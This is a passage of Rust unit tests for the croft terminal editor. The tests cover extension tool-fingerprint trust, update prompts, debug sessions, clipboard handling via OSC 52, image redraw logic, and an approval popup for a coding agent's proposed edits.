    // The panel lists the real user dir; seat the scratch extension's row.
    // A toggle refreshes the panel from that dir, so re-seat before each.
    let toggle_tfp = |app: &mut App| {
        app.extensions
            .set_items(crate::widgets::extensions::items_from_summaries(
                crate::lsp::manifest::summaries(&[EXT]),
                &app.disabled_extensions,
            ));
        let visible = app.extensions.visible_indices();
        let pos = visible
            .iter()
            .position(|&i| app.extensions.items()[i].id == "tfp")
            .expect("the tfp row is visible");
        app.extensions.select(pos);
        app.toggle_selected_extension();
    };
    assert!(crate::prefs::trust_mcp_tool_in(&croft, "tfp.go", "fp1"));
    assert!(crate::prefs::trust_mcp_tool_in(&croft, "oth.go", "o1"));
    toggle_tfp(&mut app);
    assert!(app.disabled_extensions.contains("tfp"), "{}", app.status);
    assert!(
        crate::prefs::trust_mcp_tool_in(&croft, "tfp.go", "fp2"),
        "the changed tool is approved afresh"
    );
    assert!(
        !crate::prefs::trust_mcp_tool_in(&croft, "oth.go", "o2"),
        "another extension's record stays"
    );
    // Turning it back on keeps the new record: a further change is refused.
    toggle_tfp(&mut app);
    assert!(!app.disabled_extensions.contains("tfp"), "{}", app.status);
    assert!(!crate::prefs::trust_mcp_tool_in(&croft, "tfp.go", "fp3"));
}

/// Uninstalling an extension forgets its tools' fingerprints, so a re-added
/// newer version approves its tools afresh instead of being refused.
#[test]
fn uninstalling_an_extension_forgets_its_tool_fingerprints() {
    // Only a catalog entry uninstalls, so the fixture is the bundled Time
    // sidecar beside a hand-added extension whose record must stay.
    const TIME: &str = include_str!("../../assets/catalog/mcp-time/extension.toml");
    const OTH: &str = r#"
id = "oth"
name = "oth"
api_version = 1
[[mcp_servers]]
id = "srv"
command = "/bin/false"
[[commands]]
id = "oth.go"
title = "oth: go"
server = "srv"
tool = "go"
"#;
    let (_scratch, croft) = scratch_config(&[("mcp-time", TIME), ("oth", OTH)]);
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
    assert!(crate::prefs::trust_mcp_tool_in(&croft, "time.now", "fp1"));
    assert!(crate::prefs::trust_mcp_tool_in(&croft, "oth.go", "o1"));
    app.perform_extension_uninstall("mcp-time");
    assert!(app.status.starts_with("Uninstalled"), "{}", app.status);
    assert!(
        crate::prefs::trust_mcp_tool_in(&croft, "time.now", "fp2"),
        "the re-added tool is approved afresh"
    );
    assert!(
        !crate::prefs::trust_mcp_tool_in(&croft, "oth.go", "o2"),
        "another extension's record stays"
    );
}

#[test]
fn a_homebrew_install_is_offered_brew_upgrade_not_a_self_update() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #375: a binary inside Homebrew's Cellar must not be rebuilt or swapped
    // by croft: the popup names `brew upgrade croft` and has no Update.
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.install_source = crate::update_check::InstallSource::Homebrew;
        app.update_check = Some(crate::update_check::UpdateCheck::preloaded(Some(
            "9.9.9".into(),
        )));
        assert!(app.poll_update_watch());
        let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(140, 50)).unwrap();
        term.draw(|f| app.render(f)).unwrap();
        let buttons = app.update_toast.as_ref().unwrap().buttons.clone();
        assert!(
            !buttons
                .iter()
                .any(|(_, a)| matches!(a, super::UpdateToastAction::Update)),
            "no Update button on a Homebrew install"
        );
        assert!(
            buttons
                .iter()
                .any(|(_, a)| matches!(a, super::UpdateToastAction::Later)),
            "Later still dismisses the offer"
        );
        let buf = term.backend().buffer();
        let mut screen = String::new();
        for y in 0..buf.area.height {
            for x in 0..buf.area.width {
                screen.push_str(buf[(x, y)].symbol());
            }
        }
        assert!(
            screen.contains("brew upgrade croft"),
            "the popup names the command to run"
        );
        // Even a direct request cannot stage a build over the Cellar.
        app.start_staged_update("9.9.9".into());
        assert!(app.staged_install.is_none(), "nothing staged");
        assert!(app.status.contains("brew upgrade croft"), "{}", app.status);
    });
}

#[test]
fn a_self_managed_install_still_offers_update() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let app = App::new(tmp.path().to_path_buf()).unwrap();
        assert_eq!(
            app.install_source,
            crate::update_check::InstallSource::SelfManaged,
            "a test binary under target/ is not Homebrew-owned"
        );
    });
}

const EXITED_EVENT: &str = r#"{"seq":1,"type":"event","event":"exited","body":{"exitCode":0}}"#;
const TERMINATED_EVENT: &str = r#"{"seq":2,"type":"event","event":"terminated"}"#;

/// Adapters send `exited` and then `terminated`, both of which end a member.
/// Arriving in one poll they named the member twice, and the second removal
/// took a live sibling with it.
#[test]
fn a_member_that_exits_and_terminates_in_one_poll_is_removed_once() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions
        .push("A", stub_emitting(&[EXITED_EVENT, TERMINATED_EVENT]));
    app.debug_sessions.push("B", stub_member(false));
    app.debug_sessions.push("C", stub_member(false));
    app.debug_sessions.focus(2);
    // Both messages are written before the first poll reads them.
    std::thread::sleep(std::time::Duration::from_millis(300));
    poll_until(&mut app, |a| {
        !a.debug_sessions.names().contains(&String::from("A"))
    });
    assert_eq!(
        app.debug_sessions.names(),
        vec![String::from("B"), String::from("C")]
    );
    app.debug_stop();
}

/// The focused member ending in the same poll a background member stops: the
/// view used to move to the stopped member first, carrying the ending with it
/// into the old member's backlog, so the ended member was never removed.
#[test]
fn a_focused_member_that_ends_as_another_stops_is_still_removed() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.debug_sessions
        .push("S", stub_emitting(&[STOPPED_EVENT]));
    app.debug_sessions
        .push("F", stub_emitting(&[TERMINATED_EVENT]));
    app.debug_sessions.focus(1);
    std::thread::sleep(std::time::Duration::from_millis(300));
    poll_until(&mut app, |a| {
        a.debug_sessions.names() == vec![String::from("S")]
    });
    assert_eq!(
        app.debug_sessions.names(),
        vec![String::from("S")],
        "F ended and must go"
    );
    app.debug_stop();
}

/// #679: outside a persistent session there is nothing to detach from,
/// and saying so beats a chord that silently does nothing.
#[test]
fn session_detach_outside_a_session_says_there_is_nothing_to_detach_from() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.session_channel = None;
    app.run_command(crate::widgets::command_palette::Command::SessionDetach);
    assert_eq!(
        app.status,
        "Not attached to a persistent session: nothing to detach from"
    );
}

/// #678: Claude Code (or tmux, nvim) copying a selection through OSC 52 in
/// a croft pane must land where croft's own copy lands. Dropping it broke
/// copy on a remote box, where OSC 52 is the program's only clipboard.
#[test]
fn a_pane_program_osc52_copy_reaches_the_clipboard_on_the_drain_tick() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    crate::clipboard::test_clip::mock_write("before");
    // "Y29waWVk" is "copied"; the empty store first is a program clearing
    // the clipboard at startup and must not wipe it.
    let script =
        "read x; printf '\\033]52;c;\\007'; read y; printf '\\033]52;c;Y29waWVk\\007'; sleep 30";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    app.terminals[0].write_input(b"\n");
    // The empty store has no visible output to wait on, so give it the
    // same budget the real copy gets and require that nothing changed.
    let deadline = std::time::Instant::now() + std::time::Duration::from_millis(300);
    while std::time::Instant::now() < deadline {
        app.drain_terminal_bells();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert_eq!(
        crate::clipboard::test_clip::mock_read().as_deref(),
        Some("before"),
        "an empty OSC 52 store must not wipe the clipboard"
    );
    app.terminals[0].write_input(b"\n");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the pane's OSC 52 copy to reach the clipboard",
        || {
            app.drain_terminal_bells();
            crate::clipboard::test_clip::mock_read().as_deref() == Some("copied")
        },
    );
    assert!(
        app.status.starts_with("Copied 6 chars"),
        "the copy is reported like croft's own, status: {}",
        app.status
    );
}

/// #682: the fingerprint under an image changes with any write ratatui
/// makes inside it, and ignores writes outside it.
#[test]
fn the_cells_under_an_image_fingerprint_writes_inside_it_only() {
    use ratatui::buffer::Buffer;
    use ratatui::layout::Rect;
    let mut buf = Buffer::empty(Rect::new(0, 0, 20, 10));
    let before = super::cells_fingerprint(&buf, 2, 2, 5, 3);
    buf[(15, 8)].set_symbol("x");
    assert_eq!(super::cells_fingerprint(&buf, 2, 2, 5, 3), before);
    buf[(3, 3)].set_symbol("x");
    assert_ne!(super::cells_fingerprint(&buf, 2, 2, 5, 3), before);
    // A rectangle past the edge is clamped, not a panic.
    let _ = super::cells_fingerprint(&buf, 18, 8, 10, 10);
}

/// On Kitty an image lives on its own layer, so text redrawn beneath it
/// never makes croft resend it; on iTerm2 it does.
#[test]
fn only_cell_buffer_protocols_resend_an_image_when_text_beneath_changes() {
    use crate::iterm2_inline::InlineImageProtocol;
    use ratatui::buffer::Buffer;
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.terminal_image.set(
        String::from("img"),
        super::TerminalImageLayout {
            cell_x: 1,
            cell_y: 1,
            cell_w: 4,
            cell_h: 2,
            seq: 0,
            pane: 0,
        },
    );
    let quiet = Buffer::empty(Rect::new(0, 0, 10, 5));
    let mut busy = quiet.clone();
    busy[(2, 1)].set_symbol("x");
    app.inline_protocol = InlineImageProtocol::ITerm2;
    assert_ne!(
        app.image_underlays(&quiet).terminal,
        app.image_underlays(&busy).terminal
    );
    app.inline_protocol = InlineImageProtocol::Kitty;
    assert_eq!(
        app.image_underlays(&quiet).terminal,
        app.image_underlays(&busy).terminal
    );
}

/// #682: typing re-bakes the minimap at most every `MINIMAP_EDIT_REBAKE`,
/// and the deferred bake still lands once the wait is over.
#[test]
fn minimap_rebakes_for_typing_at_most_every_few_hundred_ms() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.cell_pixel = Some((8, 16));
    app.inline_protocol = crate::iterm2_inline::InlineImageProtocol::Kitty;
    app.editor.lines = (0..80).map(|i| format!("line {i}")).collect();
    let strip = ratatui::layout::Rect {
        x: 100,
        y: 1,
        width: 6,
        height: 40,
    };
    app.update_minimap_overlay(strip);
    let first = app.minimap_image_payload().map(|(o, _)| o.to_string());
    assert!(first.is_some());
    app.editor.lines[0] = String::from("changed");
    app.editor.edit_seq += 1;
    app.update_minimap_overlay(strip);
    assert_eq!(
        app.minimap_image_payload().map(|(o, _)| o.to_string()),
        first,
        "a keystroke right after a bake waits"
    );
    assert!(!app.tick_minimap(), "not due yet");
    app.minimap_baked_at = Some(std::time::Instant::now() - super::MINIMAP_EDIT_REBAKE);
    assert!(app.tick_minimap(), "the wait is over: redraw");
    assert!(
        !app.tick_minimap(),
        "one redraw per deferred bake, even if the minimap is gone by then"
    );
    app.update_minimap_overlay(strip);
    assert_ne!(
        app.minimap_image_payload().map(|(o, _)| o.to_string()),
        first,
        "the deferred edit is baked"
    );
    assert!(!app.tick_minimap());
    // Scrolling is not held back.
    app.editor.scroll = 5;
    let before = app.minimap_image_payload().map(|(o, _)| o.to_string());
    app.update_minimap_overlay(strip);
    assert_ne!(
        app.minimap_image_payload().map(|(o, _)| o.to_string()),
        before
    );
}

/// #682: only iTerm2 needs the idle icon keepalive.
#[test]
fn only_iterm2_keeps_the_activity_icons_alive() {
    use crate::iterm2_inline::InlineImageProtocol;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for (p, want) in [
        (InlineImageProtocol::ITerm2, true),
        (InlineImageProtocol::Kitty, false),
        (InlineImageProtocol::Sixel, false),
    ] {
        app.inline_protocol = p;
        assert_eq!(app.activity_keepalive_allowed(), want, "{p:?}");
    }
}

/// #682: the minimap PNG is compressed hard; a typical strip encodes to a
/// fraction of its default size.
#[test]
fn the_minimap_png_is_small() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.lines = (0..400)
        .map(|i| format!("    let value_{i} = compute(a, b, {i}); // note"))
        .collect();
    let (w, h) = (6 * 9, 45 * 18);
    let rgba = app
        .editor
        .minimap_rgba(w, h, h, (30, 30, 30), (200, 200, 200));
    let png = super::rgba_to_png(rgba, w, h).unwrap();
    assert!(png.len() < 1500, "{} bytes", png.len());
    assert!(image::load_from_memory(&png).is_ok());
}

/// #682: small chrome images go out when new, changed, moved, back from
/// hiding, or (iTerm2) repainted around; not on every frame.
#[test]
fn a_chrome_image_is_sent_only_when_it_could_be_missing() {
    use crate::iterm2_inline::InlineImageProtocol;
    use ratatui::buffer::Buffer;
    use ratatui::layout::Rect;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let at = Rect::new(2, 2, 3, 1);
    let mut buf = Buffer::empty(Rect::new(0, 0, 20, 10));
    app.drawn_buffer = Some(buf.clone());
    app.inline_protocol = InlineImageProtocol::ITerm2;
    assert!(app.chrome_image_due("k", "img", at), "new");
    app.end_chrome_flush();
    assert!(!app.chrome_image_due("k", "img", at), "unchanged frame");
    app.end_chrome_flush();
    assert!(app.chrome_image_due("k", "img2", at), "changed");
    assert!(
        app.chrome_image_due("k", "img2", Rect::new(3, 2, 3, 1)),
        "moved"
    );
    app.end_chrome_flush();
    buf[(2, 2)].set_symbol("x");
    app.drawn_buffer = Some(buf.clone());
    assert!(
        app.chrome_image_due("k", "img2", Rect::new(3, 2, 3, 1)),
        "a neighbour repainted on iTerm2"
    );
    app.end_chrome_flush();
    app.end_chrome_flush();
    assert!(
        app.chrome_image_due("k", "img2", Rect::new(3, 2, 3, 1)),
        "back after a frame hidden"
    );
    app.end_chrome_flush();
    app.inline_protocol = InlineImageProtocol::Kitty;
    assert!(app.chrome_image_due("k", "img2", Rect::new(3, 2, 3, 1)));
    app.end_chrome_flush();
    buf[(2, 3)].set_symbol("y");
    app.drawn_buffer = Some(buf);
    assert!(
        !app.chrome_image_due("k", "img2", Rect::new(3, 2, 3, 1)),
        "Kitty ignores neighbours"
    );
}

/// A PROBLEMS count that goes to zero clears the screen only if a badge was
/// drawn: start-up and graphics re-inits no longer wipe the screen.
#[test]
fn a_zero_problem_count_clears_nothing_when_no_badge_was_drawn() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays
        .activity
        .set_images(super::ActivityBarImages::default());
    app.problems_badge_count = usize::MAX;
    app.refresh_problems_badge();
    assert!(!app.consume_problems_badge_image_clear());
}

/// A comment written while a review is being submitted stays pending, and a
/// second submit while the first runs is refused rather than posted twice.
#[test]
fn a_submit_in_flight_keeps_new_comments_and_refuses_a_second_submit() {
    let (_tmp, root, f, _log, _stdin, gh) = review_fixture();
    let mut app = review_app(&root, &f, &gh);
    app.editor.cursor_row = 0;
    app.open_review_comment_prompt();
    let rel = app.prompt.take().unwrap().target_dir;
    app.add_pending_review_comment("first", rel.clone());
    app.submit_review(String::from("Looks good"));
    assert!(app.review_submitting);
    app.editor.cursor_row = 1;
    app.add_pending_review_comment("written meanwhile", rel);
    app.submit_review(String::from("again"));
    assert!(app.status.contains("already"), "{}", app.status);
    crate::test_budget::await_spawned(std::time::Duration::from_secs(5), "the submit", || {
        app.drain_review_ops();
        !app.review_submitting
    });
    let left: Vec<_> = app.review_pending.iter().map(|c| c.body.clone()).collect();
    assert_eq!(left, vec![String::from("written meanwhile")]);
}

/// Queue an agent's `Edit` of `file` (`old` -> `new`) through the hook
/// socket, as Claude Code's hook would; the returned stream is the hook's
/// end, kept open for the answer.
fn queue_edit_proposal(
    app: &mut App,
    dir: &Path,
    file: &Path,
    old: &str,
    new: &str,
) -> std::os::unix::net::UnixStream {
    use std::io::Write;
    let sock = dir.join("hook.sock");
    let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
    listener.set_nonblocking(true).unwrap();
    app.hook_listener = Some(listener);
    let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
    let req = crate::agent_hook::EditRequest {
        agent: "claude-code".into(),
        tool: "Edit".into(),
        input: serde_json::json!({"file_path": file, "old_string": old, "new_string": new}),
        cwd: dir.into(),
    };
    writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
    assert!(app.drain_hook_requests());
    hook
}

fn popup_screen(app: &mut App, w: u16, h: u16) -> String {
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(w, h)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let mut screen = String::new();
    for y in 0..h {
        for x in 0..w {
            screen.push_str(term.backend().buffer()[(x, y)].symbol());
        }
        screen.push('\n');
    }
    screen
}

/// #347: what the language server says about a proposal's file while it is
/// checked goes to the popup, against the proposed row it names, and not to
/// the buffer's diagnostics; answering the proposal ends the check.
#[test]
fn a_proposals_diagnostics_show_in_the_popup_not_the_buffer() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.py");
    std::fs::write(&file, "x = 1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.lsp = None;
    let _hook = queue_edit_proposal(&mut app, tmp.path(), &file, "1", "nope_undefined");
    app.sync_approval_check();
    assert!(
        app.approval_check.is_none(),
        "no server, nothing to check with"
    );
    // As a server would once the proposal's text was sent as the file's.
    app.approval_check = Some(crate::agent_approval::ProposalCheck {
        arrived: app.approvals[0].arrived,
        started: std::time::Instant::now(),
        path: file.clone(),
        opened: true,
        by_server: Default::default(),
    });
    let screen = popup_screen(&mut app, 110, 30);
    assert!(screen.contains("Checking the proposed file"), "{screen}");
    app.apply_diagnostics_updates(vec![crate::lsp::manager::DiagnosticsUpdate {
        path: file.clone(),
        server: "ruff".into(),
        diagnostics: vec![crate::lsp::manager::Diagnostic {
            start_line: 0,
            start_char: 4,
            end_line: 0,
            end_char: 18,
            severity: crate::lsp::manager::DiagnosticSeverity::Error,
            message: "Undefined name `nope_undefined`".into(),
        }],
    }]);
    assert!(
        !app.lsp_diagnostics.contains_key(&file),
        "the buffer's diagnostics are the buffer's"
    );
    let screen = popup_screen(&mut app, 110, 30);
    assert!(
        screen.contains("1 error, 0 warnings in the proposed file"),
        "{screen}"
    );
    assert!(
        screen
            .lines()
            .any(|l| l.contains("+ x = nope_undefined") && l.contains("\u{25c0} Undefined name")),
        "the proposed row carries it: {screen}"
    );
    // Answered: the check ends with the proposal.
    app.approval_ui.as_mut().unwrap().shown_at -= crate::agent_approval::ARM_DELAY;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.approvals.is_empty());
    app.sync_approval_check();
    assert!(app.approval_check.is_none());
}

/// #347's criterion against a real server: a proposal that uses an
/// undefined name shows the server's diagnostic in the popup before it is
/// approved. Ignored by default: it needs a Python language server that
/// publishes diagnostics for an open buffer (run it with `--ignored` where
/// one does); `a_proposals_diagnostics_show_in_the_popup_not_the_buffer`
/// covers the routing and rendering without one.
#[test]
#[ignore]
fn a_real_server_flags_the_proposal_before_approval() {
    if !["ruff", "pyright-langserver", "basedpyright-langserver"]
        .iter()
        .any(|b| crate::lsp::manager::is_on_path(b))
    {
        eprintln!("SKIPPED: no Python language server on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.py");
    std::fs::write(&file, "x = 1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    if app.lsp.is_none() {
        eprintln!("SKIPPED: no language server manager");
        return;
    }
    let _hook = queue_edit_proposal(&mut app, tmp.path(), &file, "1", "nope_undefined");
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(60);
    loop {
        app.sync_approval_check();
        app.drain_lsp_diagnostics();
        let found = app.approval_check.as_ref().is_some_and(|c| {
            c.diagnostics()
                .iter()
                .any(|d| d.message.contains("nope_undefined"))
        });
        if found {
            break;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "no server flagged the proposal: {:?}",
            app.approval_check
        );
        std::thread::sleep(std::time::Duration::from_millis(50));
    }
    assert!(!app.lsp_diagnostics.contains_key(&file));
}

/// An agent's edit proposal, end to end through the App: the hook's
/// request opens the popup over everything, keys go to the popup and not
/// to the editor under it, and the answer reaches the hook's connection.
#[test]
fn an_agent_edit_proposal_opens_the_popup_and_enter_answers_the_hook() {
    use std::io::{BufRead, Write};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "let x = 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let sock = tmp.path().join("hook.sock");
    let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
    listener.set_nonblocking(true).unwrap();
    app.hook_listener = Some(listener);
    assert!(!app.drain_hook_requests());
    assert!(app.approval_ui.is_none());

    let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
    let req = crate::agent_hook::EditRequest {
        agent: "claude-code".into(),
        tool: "Edit".into(),
        input: serde_json::json!({"file_path": file, "old_string": "1", "new_string": "2"}),
        cwd: tmp.path().into(),
    };
    writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
    assert!(app.drain_hook_requests());
    assert!(app.modal_overlay_open());
    // A proposal the hook has stopped waiting for leaves with the popup.
    app.approvals[0].arrived -= crate::agent_hook::ANSWER_WINDOW;
    assert!(app.drain_hook_requests());
    assert!(app.approval_ui.is_none() && app.approvals.is_empty());
    let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
    writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
    assert!(app.drain_hook_requests());

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let mut screen = String::new();
    for y in 0..30 {
        for x in 0..100 {
            screen.push_str(term.backend().buffer()[(x, y)].symbol());
        }
    }
    assert!(
        screen.contains("claude-code wants to edit a.rs"),
        "{screen}"
    );
    assert!(screen.contains("+ let x = 2;") && screen.contains("- let x = 1;"));

    // Too soon after it appeared: the Enter is swallowed, not an approval.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.approval_ui.is_some());
    app.approval_ui.as_mut().unwrap().shown_at -= crate::agent_approval::ARM_DELAY;
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(app.approval_ui.is_none() && app.approvals.is_empty());
    let mut line = String::new();
    std::io::BufReader::new(hook).read_line(&mut line).unwrap();
    assert_eq!(
        serde_json::from_str::<crate::agent_hook::Decision>(line.trim()).unwrap(),
        crate::agent_hook::Decision::Allow
    );
    // Approving answers the agent; croft itself does not write the file.
    assert_eq!(std::fs::read_to_string(&file).unwrap(), "let x = 1;\n");
}

/// #345: the AGENT LANE rows are each agent then its files, unreviewed
/// first, labelled relative to the workspace root.
#[test]
fn agent_lane_rows_list_each_agent_then_its_files_unreviewed_first() {
    use crate::widgets::agent_lane::LaneRow;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    std::fs::create_dir_all(root.join("src")).unwrap();
    let a = root.join("src/a.rs");
    let b = root.join("src/b.rs");
    std::fs::write(&a, "a").unwrap();
    std::fs::write(&b, "b").unwrap();
    let mut app = App::new(root.clone()).unwrap();
    assert!(
        app.agent_lane_panel_rows().is_empty(),
        "nothing to show before any agent wrote"
    );
    let working = vec![String::from("claude")];
    app.agent_ledger.record_write(&a, 1, &working);
    app.agent_ledger.record_write(&b, 2, &working);
    app.agent_ledger.mark_reviewed("claude", &a, 1, None);
    let rows = app.agent_lane_panel_rows();
    assert_eq!(
        rows[0],
        LaneRow::Agent {
            name: String::from("claude"),
            unreviewed: 1
        }
    );
    let files: Vec<(String, bool)> = rows[1..]
        .iter()
        .map(|r| match r {
            LaneRow::File {
                label, unreviewed, ..
            } => (label.clone(), *unreviewed),
            other => panic!("expected a file row, got {other:?}"),
        })
        .collect();
    assert_eq!(
        files,
        vec![
            (String::from("src/b.rs"), true),
            (String::from("src/a.rs"), false)
        ]
    );
}

/// #345: "Agents: Open Agent Lane" shows the section, open, even after it
/// was hidden from the ⋯ menu; with no agent activity it says so instead.
#[test]
fn agents_open_agent_lane_shows_the_section_open() {
    use crate::widgets::command_palette::Command;
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().canonicalize().unwrap();
    let f = root.join("x.rs");
    std::fs::write(&f, "x").unwrap();
    let mut app = App::new(root).unwrap();
    app.run_command(Command::OpenAgentLaneSection);
    assert!(app.status.contains("no agent"), "status: {}", app.status);

    app.agent_ledger
        .record_write(&f, 1, &[String::from("claude")]);
    if app.explorer_views.is_visible(ExplorerView::AgentLane) {
        app.toggle_explorer_view(ExplorerView::AgentLane);
    }
    assert!(app.agent_lane_panel.collapsed);
    app.run_command(Command::OpenAgentLaneSection);
    assert!(app.explorer_views.is_visible(ExplorerView::AgentLane));
    assert!(!app.agent_lane_panel.collapsed);
    assert_eq!(app.sidebar_view, SidebarView::Explorer);
}

#[test]
fn provisioning_outcomes_are_logged_to_the_remote_output_channel() {
    // The cache-dir override is process-global; serialize with the
    // other tests that redirect it.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    // #364: a host that gets croft through provisioning says so in OUTPUT >
    // Remote, success and failure alike, with the reason on failure.
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.note_provisioning_failed("zz364-a.example", "no space left on device");
        app.note_provisioning_succeeded("zz364-b.example");
        let lines = crate::output::snapshot(crate::output::CHANNEL_REMOTE)
            .expect("the Remote channel exists");
        let failed = lines
            .iter()
            .find(|l| l.text.contains("zz364-a.example"))
            .expect("the failure is logged");
        assert!(
            failed.text.contains("no space left on device"),
            "{}",
            failed.text
        );
        assert_eq!(failed.level, crate::output::OutputLevel::Error);
        assert!(
            lines.iter().any(|l| l.text.contains("zz364-b.example")
                && l.level != crate::output::OutputLevel::Error),
            "the success is logged"
        );
    });
}

/// A repo whose `a.txt` grows by one line per commit: v1, then v1+v2, then
/// v1+v2+v3.
fn scrub_repo() -> tempfile::TempDir {
    let tmp = tempfile::tempdir().unwrap();
    let git = |args: &[&str]| {
        let ok = std::process::Command::new("git")
            .arg("-C")
            .arg(tmp.path())
            .args(args)
            .output()
            .unwrap()
            .status
            .success();
        assert!(ok, "git {args:?}");
    };
    git(&["init", "-q", "-b", "main"]);
    git(&["config", "user.email", "a@b"]);
    git(&["config", "user.name", "a"]);
    let mut text = String::new();
    for v in ["v1", "v2", "v3"] {
        text.push_str(v);
        text.push('\n');
        std::fs::write(tmp.path().join("a.txt"), &text).unwrap();
        git(&["add", "a.txt"]);
        git(&["commit", "-q", "-m", v]);
    }
    tmp
}

/// Wait for the OUTLINE to show the scrubbed commit's own symbols (#371),
/// which the builder parses on its own thread with the finished view.
fn settle_scrub_outline(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
    loop {
        app.drain_scrub_views();
        app.sync_outline();
        let commit = app
            .scrubber
            .as_ref()
            .and_then(|s| s.commit())
            .map(|c| c.hash.clone());
        if commit.is_some() && app.outline_scrub_key.as_ref().map(|(_, c)| c.clone()) == commit {
            return;
        }
        assert!(
            std::time::Instant::now() < deadline,
            "the scrubbed commit's outline was never built"
        );
        std::thread::sleep(std::time::Duration::from_millis(5));
    }
}

/// Wait for the history scrubber's finished view of where it stands to
/// replace the plain stand-in (#371); the builder runs on its own thread.
fn settle_scrub_view(app: &mut App) {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(20);
    while !matches!(app.scrub_view_key, Some((_, true))) {
        assert!(
            std::time::Instant::now() < deadline,
            "the scrubber's view was never built"
        );
        app.drain_scrub_views();
        std::thread::sleep(std::time::Duration::from_millis(5));
    }
}

#[test]
fn stepping_back_to_a_finished_scrub_view_reuses_it() {
    // #371: a step never waits on highlighting, and a commit whose view was
    // already built shows it at once rather than building it again.
    let repo = scrub_repo();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("a.txt")).unwrap();
    app.scrub_history();
    assert!(app.handle_scrubber_key(KeyCode::Left), "to HEAD");
    settle_scrub_view(&mut app);
    assert!(app.handle_scrubber_key(KeyCode::Left), "one older");
    settle_scrub_view(&mut app);
    assert!(app.handle_scrubber_key(KeyCode::Right), "back to HEAD");
    assert!(
        matches!(app.scrub_view_key, Some((_, true))),
        "HEAD's finished view was kept"
    );
    assert_eq!(
        app.scrub_view.as_ref().unwrap().lines,
        vec!["v1", "v2", "v3"]
    );
    // Home drops the view; Esc drops the kept ones with the builder.
    assert!(app.handle_scrubber_key(KeyCode::Home));
    assert!(app.scrub_view.is_none() && app.scrub_view_key.is_none());
    assert!(app.handle_scrubber_key(KeyCode::Esc));
    assert!(app.scrub_views.is_empty() && app.scrub_builder.is_none());
}

#[test]
fn scrubbing_shows_the_file_at_each_commit_and_its_changes() {
    // #371: at each position the editor shows the file at that commit, and
    // the git gutter shows that commit's own change.
    let repo = scrub_repo();
    let mut app = App::new(repo.path().to_path_buf()).unwrap();
    app.editor.open(&repo.path().join("a.txt")).unwrap();
    app.scrub_history();
